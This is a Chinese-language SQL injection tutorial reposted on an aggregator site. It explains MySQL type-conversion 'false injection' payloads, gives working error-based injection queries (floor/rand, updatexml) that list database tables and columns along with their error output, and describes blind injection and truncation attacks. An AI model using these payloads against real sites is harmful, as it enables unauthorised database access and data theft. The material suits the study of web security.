SQL注入技巧
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了SQL注入技巧,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含3817字,纯文字阅读大概需要6分钟。
内容图文
0x01 False Injection
username=0时数据库会返回数据,尝试一下使password=0会不会返回同样的数据。
空集无法查询
MYSQL的隐式类型转换。
如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不做类型转换
两个参数都是字符串,按照字符串比较。不做类型转换
两个参数都是整数,按照整数比较。不做类型转换
如果不与数字进行比较,则将十六进制值视为二进制字符串。
有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较
所有其他情况下,两个参数都会被转换为浮点数再进行比较
举几个例子看一下:
可以看得到例如6和6aa进行比较的时候 6aa会强制转换为6,这时6=6 返回true
username=0会导致返回数据了,就是因为这里会将数据转换为浮点数比较,但是字符串转换会出问题,从而返回0使得0=0从而为true得到结果。
2、利用
算术运算符
实际中我们接触到的语句都是带有引号的,类似于where username='+input+' 这样的,这时候我们就需要做一些处理来构造false注入的利用点。
输入+ 则相当于语句被转化为 where username="+"
+,-,*,/,%都是同理。
比较运算符
安全等于:<=>
?'=0<=>1#?拼接的语句:where?username=''=0<=>1#'
不等于<>(!=)
?'=0<>0#?拼接的语句:where?username=''=0<>0#'
利用一下这个特点
两种情况均返回true,原因在于后面存在的亦或表达式会使前面的判断类型都转换为浮点型数据。因此都变为0。
0x02
注入常用函数与字符
这个作为我们用来测试的表单。
下面的函数是经常会用到的。
mid()---从文本字段中提取字符
SELECT MID(column_name,start[,length]) FROM table_name;
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
limit()---返回前几条或者中间某几行数据
select * from table limit m,n;
其m指记录始index0始表示第条记录 n指第m+1条始取n条
concat、concat_ws、group_concat
MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])
rand随机数(产生0,1之间随机数)
报错注入
基于floor,UpdateXml(有长度限制,最长32位),ExtractValue(有长度限制,最长32位)进行报错注入。
- 获取数据库
select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name;
- 获取数据表
select count(*),concat(0x3a,0x3a,(select table_name from information_sche ma.tables where table_schema=database() limit 3,1),0x3a,floor(rand()*2)) name fr om information_schema.tables group by name;
- 获取字段
select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;
UpdateXml报错注入
获取数据表
mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM informatio
n_schema.tables WHERE table_schema=database() limit 3,1)),0);
ERROR 1105 (HY000): XPATH syntax error: '~ctf'
获取字段
mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 4,1)),0); ERROR 1105 (HY000): XPATH syntax error: '~password'mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 3,1)),0); ERROR 1105 (HY000): XPATH syntax error: '~user'
基于布尔盲注
mysql> select table_name from information_schema.tables where table_schema=database() limit 3,1;
limit x,y 是需要进行尝试的。猜测数据库
基于时间盲注
基于的原理是,当对数据库进行查询操作,如果查询的条件不存在,语句执行的时间便是0.但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本为0。但是如果查询语句的条件不存在,执行的时间便是0,利用该函数这样一个特殊的性质,可以利用时间延迟来判断我们查询的是否存在。这便是SQL基于时间延迟的盲注的工作原理
Mysql约束攻击
在mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断。
实例:在数据表中插入'lovehsy' 和 ‘lovehsy '两条数据。
对比一下两者
虽然在长度方面是不同的但是在前端验证的时候两者会被当成相同的字符串来处理。
内容总结
以上是互联网集市为您收集整理的SQL注入技巧全部内容,希望文章能够帮你解决SQL注入技巧所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。